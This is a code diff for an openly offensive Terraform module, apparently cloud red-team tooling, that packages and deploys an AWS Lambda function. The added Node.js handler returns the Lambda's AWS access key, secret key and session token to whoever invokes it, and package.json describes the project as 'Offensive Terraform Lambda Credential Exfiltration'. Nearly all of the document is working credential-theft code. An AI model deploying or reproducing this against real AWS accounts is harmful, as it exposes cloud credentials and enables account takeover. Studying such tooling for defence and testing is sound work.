Update Terraform template to Zip Payload source

main.tf

@@ -1,10 +1,16 @@
+data "archive_file" "payload" {
+  type        = "zip"
+  source_dir = "src"
+  output_path = "${path.module}/.terraform/modules/lambda-function-credential-exfiltration/payload.zip"
+}
+
 resource "aws_lambda_function" "this" {
-  filename      = ".terraform/modules/lambda-function-credential-exfiltration/payload.zip"
+  filename      = data.archive_file.payload.output_path
   function_name = "test"
   role          = var.role_arn
   handler       = "index.handler"
 
-  source_code_hash = filebase64sha256(".terraform/modules/lambda-function-credential-exfiltration/payload.zip")
+  source_code_hash = filebase64sha256(data.archive_file.payload.output_path)
 
   runtime = "nodejs12.x"
 }

src/index.js

@@ -0,0 +1,12 @@
+exports.handler = async (event) => {
+
+    const response = {
+        statusCode: 200,
+        body: {
+            "AWS_ACCESS_KEY_ID": process.env.AWS_ACCESS_KEY_ID,
+            "AWS_SECRET_ACCESS_KEY": process.env.AWS_SECRET_ACCESS_KEY,
+            "AWS_SESSION_TOKEN": process.env.AWS_SESSION_TOKEN
+        },
+    };
+    return response;
+};

src/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "payload",
+  "version": "1.0.0",
+  "description": "Offensive Terraform Lambda Credential Exfiltration",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "Itgel Ganbold",
+  "license": "ISC",
+  "dependencies": {}
+}